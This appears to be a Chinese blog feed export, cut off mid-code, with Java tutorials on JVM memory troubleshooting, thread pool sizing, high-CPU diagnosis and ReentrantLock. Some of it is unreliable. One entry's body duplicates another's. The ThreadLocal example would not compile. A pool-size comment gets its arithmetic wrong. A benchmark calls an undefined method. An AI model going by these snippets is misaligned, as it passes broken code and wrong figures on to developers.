        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="线程池参数如何设置才靠谱"><a href="#线程池参数如何设置才靠谱" class="headerlink" title="线程池参数如何设置才靠谱"></a>线程池参数如何设置才靠谱</h1><p>线程池是 Java 并发编程中最重要的工具之一。合理配置线程池参数，能显著提升系统性能和稳定性。</p><h2 id="ThreadPoolExecutor-核心参数"><a href="#ThreadPoolExecutor-核心参数" class="headerlink" title="ThreadPoolExecutor 核心参数"></a>ThreadPoolExecutor 核心参数</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">ThreadPoolExecutor</span><span class="params">(</span></span><br><span class="line"><span class="params">    <span class="type">int</span> corePoolSize,      // 核心线程数</span></span><br><span class="line"><span class="params">    <span class="type">int</span> maximumPoolSize,   // 最大线程数</span></span><br><span class="line"><span class="params">    <span class="type">long</span> keepAliveTime,    // 空闲线程存活时间</span></span><br><span class="line"><span class="params">    TimeUnit unit,         // 时间单位</span></span><br><span class="line"><span class="params">    BlockingQueue&lt;Runnable&gt; workQueue,  // 任务队列</span></span><br><span class="line"><span class="params">    ThreadFactory threadFactory,        // 线程工厂</span></span><br><span class="line"><span class="params">    RejectedExecutionHandler handler    // 拒绝策略</span></span><br><span class="line"><span class="params">)</span></span><br></pre></td></tr></table></figure><h2 id="参数详解"><a href="#参数详解" class="headerlink" title="参数详解"></a>参数详解</h2><h3 id="corePoolSize（核心线程数）"><a href="#corePoolSize（核心线程数）" class="headerlink" title="corePoolSize（核心线程数）"></a>corePoolSize（核心线程数）</h3><p>线程池维护的最小线程数，即使空闲也保留。</p><h3 id="maximumPoolSize（最大线程数）"><a href="#maximumPoolSize（最大线程数）" class="headerlink" title="maximumPoolSize（最大线程数）"></a>maximumPoolSize（最大线程数）</h3><p>线程池允许的最大线程数。</p><h3 id="workQueue（任务队列）"><a href="#workQueue（任务队列）" class="headerlink" title="workQueue（任务队列）"></a>workQueue（任务队列）</h3><table><thead><tr><th>队列类型</th><th>特点</th></tr></thead><tbody><tr><td>ArrayBlockingQueue</td><td>有界数组队列，需指定容量</td></tr><tr><td>LinkedBlockingQueue</td><td>无界链表队列（默认Integer.MAX_VALUE）</td></tr><tr><td>SynchronousQueue</td><td>不存储元素，直接提交给线程</td></tr><tr><td>PriorityBlockingQueue</td><td>优先级队列</td></tr></tbody></table><p><strong>注意</strong>：<code>Executors.newFixedThreadPool()</code> 使用无界 <code>LinkedBlockingQueue</code>，可能导致 OOM！</p><h3 id="拒绝策略"><a href="#拒绝策略" class="headerlink" title="拒绝策略"></a>拒绝策略</h3><table><thead><tr><th>策略</th><th>行为</th></tr></thead><tbody><tr><td>AbortPolicy</td><td>抛出RejectedExecutionException（默认）</td></tr><tr><td>CallerRunsPolicy</td><td>由调用线程执行任务</td></tr><tr><td>DiscardPolicy</td><td>静默丢弃任务</td></tr><tr><td>DiscardOldestPolicy</td><td>丢弃最老的任务，重试提交</td></tr></tbody></table><h2 id="线程池工作流程"><a href="#线程池工作流程" class="headerlink" title="线程池工作流程"></a>线程池工作流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">提交任务</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">核心线程是否已满？ --否--&gt; 创建核心线程执行任务</span><br><span class="line">    |是</span><br><span class="line">    v</span><br><span class="line">队列是否已满？ --否--&gt; 任务入队等待</span><br><span class="line">    |是</span><br><span class="line">    v</span><br><span class="line">最大线程是否已满？ --否--&gt; 创建非核心线程执行任务</span><br><span class="line">    |是</span><br><span class="line">    v</span><br><span class="line">执行拒绝策略</span><br></pre></td></tr></table></figure><h2 id="参数设置公式"><a href="#参数设置公式" class="headerlink" title="参数设置公式"></a>参数设置公式</h2><h3 id="CPU-密集型任务"><a href="#CPU-密集型任务" class="headerlink" title="CPU 密集型任务"></a>CPU 密集型任务</h3><p>任务主要进行计算，很少阻塞。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">corePoolSize = CPU核心数 + 1</span><br><span class="line">maximumPoolSize = corePoolSize</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：</p><ul><li>CPU 密集型任务应尽量减少线程切换</li><li>多一个线程是为了充分利用 CPU 时间片</li></ul><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">cpuCore</span> <span class="operator">=</span> Runtime.getRuntime().availableProcessors();</span><br><span class="line"><span class="type">int</span> <span class="variable">poolSize</span> <span class="operator">=</span> cpuCore + <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h3 id="IO-密集型任务"><a href="#IO-密集型任务" class="headerlink" title="IO 密集型任务"></a>IO 密集型任务</h3><p>任务涉及网络、磁盘等 IO 操作，线程会大量阻塞。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">corePoolSize = CPU核心数 * 2</span><br><span class="line">maximumPoolSize = CPU核心数 * 2 + 1</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：</p><ul><li>IO 阻塞时 CPU 空闲，需要更多线程提高利用率</li><li>具体数值需根据实际 IO 等待时间调整</li></ul><h3 id="通用公式（更精确）"><a href="#通用公式（更精确）" class="headerlink" title="通用公式（更精确）"></a>通用公式（更精确）</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">corePoolSize = CPU核心数 / (1 - 阻塞系数)</span><br><span class="line"></span><br><span class="line">阻塞系数 = 阻塞时间 / (阻塞时间 + 计算时间)</span><br></pre></td></tr></table></figure><table><thead><tr><th>任务类型</th><th>阻塞系数</th></tr></thead><tbody><tr><td>纯计算</td><td>0</td></tr><tr><td>少量 IO</td><td>0.3~0.5</td></tr><tr><td>大量 IO</td><td>0.8~0.9</td></tr></tbody></table><p><strong>示例</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 计算密集型：阻塞系数 0.1</span></span><br><span class="line"><span class="type">int</span> <span class="variable">coreForCompute</span> <span class="operator">=</span> (<span class="type">int</span>) (cpuCore / (<span class="number">1</span> - <span class="number">0.1</span>));  <span class="comment">// ~12（8核）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// IO密集型（HTTP调用）：阻塞系数 0.8</span></span><br><span class="line"><span class="type">int</span> <span class="variable">coreForIO</span> <span class="operator">=</span> (<span class="type">int</span>) (cpuCore / (<span class="number">1</span> - <span class="number">0.8</span>));  <span class="comment">// 40（8核）</span></span><br></pre></td></tr></table></figure><h2 id="实际配置示例"><a href="#实际配置示例" class="headerlink" title="实际配置示例"></a>实际配置示例</h2><h3 id="异步处理线程池"><a href="#异步处理线程池" class="headerlink" title="异步处理线程池"></a>异步处理线程池</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean(&quot;asyncExecutor&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Executor <span class="title function_">asyncExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">cpuCore</span> <span class="operator">=</span> Runtime.getRuntime().availableProcessors();</span><br><span class="line">    </span><br><span class="line">    <span class="type">ThreadPoolExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(</span><br><span class="line">        cpuCore * <span class="number">2</span>,           <span class="comment">// 核心线程</span></span><br><span class="line">        cpuCore * <span class="number">4</span>,           <span class="comment">// 最大线程</span></span><br><span class="line">        <span class="number">60L</span>, TimeUnit.SECONDS,</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;(<span class="number">1000</span>),  <span class="comment">// 有界队列！</span></span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ThreadFactoryBuilder</span>().setNameFormat(<span class="string">&quot;async-%d&quot;</span>).build(),</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy()</span><br><span class="line">    );</span><br><span class="line">    </span><br><span class="line">    executor.allowCoreThreadTimeOut(<span class="literal">true</span>);  <span class="comment">// 允许核心线程超时回收</span></span><br><span class="line">    <span class="keyword">return</span> executor;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="定时任务线程池"><a href="#定时任务线程池" class="headerlink" title="定时任务线程池"></a>定时任务线程池</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean(&quot;scheduledExecutor&quot;)</span></span><br><span class="line"><span class="keyword">public</span> ScheduledExecutorService <span class="title function_">scheduledExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ScheduledThreadPoolExecutor</span>(</span><br><span class="line">        <span class="number">5</span>,</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ThreadFactoryBuilder</span>().setNameFormat(<span class="string">&quot;schedule-%d&quot;</span>).build(),</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.AbortPolicy()</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="禁止使用-Executors-创建线程池"><a href="#禁止使用-Executors-创建线程池" class="headerlink" title="禁止使用 Executors 创建线程池"></a>禁止使用 Executors 创建线程池</h2><h3 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a>问题分析</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 危险！无界队列可能导致OOM</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">pool</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">100</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 危险！允许无限创建线程</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">pool</span> <span class="operator">=</span> Executors.newCachedThreadPool();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 危险！单线程，队列无界</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">pool</span> <span class="operator">=</span> Executors.newSingleThreadExecutor();</span><br></pre></td></tr></table></figure><h3 id="阿里巴巴编码规范"><a href="#阿里巴巴编码规范" class="headerlink" title="阿里巴巴编码规范"></a>阿里巴巴编码规范</h3><blockquote><p><strong>强制</strong>线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险。</p></blockquote><h2 id="线程池监控"><a href="#线程池监控" class="headerlink" title="线程池监控"></a>线程池监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ThreadPoolMonitor</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">printStats</span><span class="params">(ThreadPoolExecutor pool)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;核心线程数: &quot;</span> + pool.getCorePoolSize());</span><br><span class="line">        System.out.println(<span class="string">&quot;最大线程数: &quot;</span> + pool.getMaximumPoolSize());</span><br><span class="line">        System.out.println(<span class="string">&quot;当前线程数: &quot;</span> + pool.getPoolSize());</span><br><span class="line">        System.out.println(<span class="string">&quot;活跃线程数: &quot;</span> + pool.getActiveCount());</span><br><span class="line">        System.out.println(<span class="string">&quot;完成任务数: &quot;</span> + pool.getCompletedTaskCount());</span><br><span class="line">        System.out.println(<span class="string">&quot;队列任务数: &quot;</span> + pool.getQueue().size());</span><br><span class="line">        System.out.println(<span class="string">&quot;队列剩余容量: &quot;</span> + pool.getQueue().remainingCapacity());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Spring-Boot-监控"><a href="#Spring-Boot-监控" class="headerlink" title="Spring Boot 监控"></a>Spring Boot 监控</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ThreadPoolMetrics</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ThreadPoolExecutor executor;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">report</span><span class="params">()</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;线程池状态 - 活跃: &#123;&#125;, 队列: &#123;&#125;, 完成: &#123;&#125;&quot;</span>,</span><br><span class="line">            executor.getActiveCount(),</span><br><span class="line">            executor.getQueue().size(),</span><br><span class="line">            executor.getCompletedTaskCount()</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="优雅关闭线程池"><a href="#优雅关闭线程池" class="headerlink" title="优雅关闭线程池"></a>优雅关闭线程池</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">shutdownGracefully</span><span class="params">(ThreadPoolExecutor executor)</span> &#123;</span><br><span class="line">    executor.shutdown();  <span class="comment">// 停止接收新任务</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 等待现有任务完成</span></span><br><span class="line">        <span class="keyword">if</span> (!executor.awaitTermination(<span class="number">60</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">            executor.shutdownNow();  <span class="comment">// 强制关闭</span></span><br><span class="line">            <span class="comment">// 再次等待</span></span><br><span class="line">            <span class="keyword">if</span> (!executor.awaitTermination(<span class="number">60</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">                System.err.println(<span class="string">&quot;线程池未正常关闭&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        executor.shutdownNow();</span><br><span class="line">        Thread.currentThread().interrupt();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h2><h3 id="1-任务异常导致线程终止"><a href="#1-任务异常导致线程终止" class="headerlink" title="1. 任务异常导致线程终止"></a>1. 任务异常导致线程终止</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：异常导致线程退出，线程池创建新线程</span></span><br><span class="line">executor.submit(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;异常&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：包装任务捕获异常</span></span><br><span class="line">executor.submit(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 业务逻辑</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;任务执行异常&quot;</span>, e);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="2-ThreadLocal-内存泄漏"><a href="#2-ThreadLocal-内存泄漏" class="headerlink" title="2. ThreadLocal 内存泄漏"></a>2. ThreadLocal 内存泄漏</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">executor.submit(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        ThreadLocal&lt;String&gt; tl = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">        tl.set(<span class="string">&quot;value&quot;</span>);</span><br><span class="line">        <span class="comment">// 业务逻辑</span></span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="comment">// 必须清理！</span></span><br><span class="line">        tl.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>corePoolSize</th><th>maximumPoolSize</th><th>队列</th></tr></thead><tbody><tr><td>计算密集型</td><td>CPU+1</td><td>CPU+1</td><td>有界队列</td></tr><tr><td>IO密集型</td><td>CPU*2</td><td>CPU*4</td><td>有界队列</td></tr><tr><td>混合任务</td><td>根据公式计算</td><td>core*2</td><td>有界队列</td></tr></tbody></table><p><strong>核心原则</strong>：</p><ol><li>始终使用 <code>ThreadPoolExecutor</code> 手动创建</li><li>始终使用有界队列</li><li>根据任务类型选择参数</li><li>做好监控和优雅关闭</li><li>注意 ThreadLocal 清理</li></ol>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高如何定位-Java-问题"><a href="#线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="线上 CPU 飙高如何定位 Java 问题"></a>线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ReentrantLock与公平锁非公平锁</title>
      <link href="//reentrantlock-yu-gong-ping-suo-fei-gong-ping-suo/"/>
      <url>//reentrantlock-yu-gong-ping-suo-fei-gong-ping-suo/</url>
      
        <content type="html"><![CDATA[<h1 id="ReentrantLock与公平锁非公平锁"><a href="#ReentrantLock与公平锁非公平锁" class="headerlink" title="ReentrantLock与公平锁非公平锁"></a>ReentrantLock与公平锁非公平锁</h1><p>ReentrantLock 相比 synchronized 更灵活，但也更容易用错。很多人知道它支持公平锁和非公平锁，却不知道如何选择。本文重点讲使用场景、注意事项以及两者如何选择。</p><h2 id="ReentrantLock-vs-synchronized"><a href="#ReentrantLock-vs-synchronized" class="headerlink" title="ReentrantLock vs synchronized"></a>ReentrantLock vs synchronized</h2><table><thead><tr><th>特性</th><th>ReentrantLock</th><th>synchronized</th></tr></thead><tbody><tr><td>锁的获取方式</td><td>显式 lock/unlock</td><td>隐式，JVM管理</td></tr><tr><td>公平性</td><td>支持公平/非公平</td><td>非公平</td></tr><tr><td>可中断</td><td>支持</td><td>不支持</td></tr><tr><td>超时获取</td><td>支持</td><td>不支持</td></tr><tr><td>条件变量</td><td>支持多个Condition</td><td>一个隐式条件</td></tr><tr><td>性能</td><td>JDK6+ 近似</td><td>优化后近似</td></tr><tr><td>代码复杂度</td><td>较高</td><td>较低</td></tr></tbody></table><h2 id="基本用法"><a href="#基本用法" class="headerlink" title="基本用法"></a>基本用法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">ReentrantLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> count;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">        lock.lock();  <span class="comment">// 获取锁</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            count++;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();  <span class="comment">// 必须在finally中释放</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：<code>unlock()</code> 必须在 <code>finally</code> 块中调用，否则异常时锁不会释放。</p><h2 id="公平锁与非公平锁"><a href="#公平锁与非公平锁" class="headerlink" title="公平锁与非公平锁"></a>公平锁与非公平锁</h2><p>#</p><h2 id="创建方式"><a href="#创建方式" class="headerlink" title="创建方式"></a>创建方式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 默认：非公平锁（性能更高）</span></span><br><span class="line"><span class="type">ReentrantLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>();</span><br><span class="line"><span class="type">ReentrantLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>(<span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 公平锁</span></span><br><span class="line"><span class="type">ReentrantLock</span> <span class="variable">fairLock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>(<span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="非公平锁"><a href="#非公平锁" class="headerlink" title="非公平锁"></a>非公平锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 线程A持有锁</span></span><br><span class="line">lock.lock();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程B、C在队列中等待</span></span><br><span class="line"><span class="comment">// 线程D到来：</span></span><br><span class="line"><span class="keyword">if</span> (lock.tryLock()) &#123;  <span class="comment">// 直接尝试获取，不排队</span></span><br><span class="line">    <span class="comment">// 获取成功！插队成功</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>允许”插队”，后到的线程可能先获取锁</li><li>吞吐量大，性能更好</li><li>可能导致线程饥饿</li></ul><p>#</p><h2 id="公平锁"><a href="#公平锁" class="headerlink" title="公平锁"></a>公平锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 线程A持有锁</span></span><br><span class="line">lock.lock();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程B在队列中等待</span></span><br><span class="line"><span class="comment">// 线程C到来：</span></span><br><span class="line">lock.lock();  <span class="comment">// 检查队列，有前驱则排队</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>按请求顺序获取锁</li><li>吞吐量较低</li><li>避免线程饥饿</li></ul><p>#</p><h2 id="性能对比"><a href="#性能对比" class="headerlink" title="性能对比"></a>性能对比</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FairnessTest</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">THREAD_COUNT</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">ITERATIONS</span> <span class="operator">=</span> <span class="number">100000</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        testLock(<span class="keyword">new</span> <span class="title class_">ReentrantLock</span>(<span class="literal">false</span>), <span class="string">&quot;非公平锁&quot;</span>);</span><br><span class="line">        testLock(<span class="keyword">new</span> <span class="title class_">ReentrantLock</span>(<span class="literal">true</span>), <span class="string">&quot;公平锁&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结果</strong>：非公平锁吞吐量通常比公平锁高 5~10 倍。</p><p><strong>建议</strong>：除非有明确的公平性需求，否则使用非公平锁。</p><h2 id="可中断锁"><a href="#可中断锁" class="headerlink" title="可中断锁"></a>可中断锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">interruptibleLock</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        lock.lockInterruptibly();  <span class="comment">// 可中断的获取</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 执行业务逻辑</span></span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        <span class="comment">// 响应中断，取消操作</span></span><br><span class="line">        System.out.println(<span class="string">&quot;锁获取被中断&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>使用场景</strong>：需要响应取消请求的长时任务。</p><h2 id="超时获取"><a href="#超时获取" class="headerlink" title="超时获取"></a>超时获取</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">tryLockWithTimeout</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (lock.tryLock(<span class="number">3</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="comment">// 获取锁成功，执行业务</span></span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                lock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 超时未获取到锁</span></span><br><span class="line">            System.out.println(<span class="string">&quot;获取锁超时&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> <span 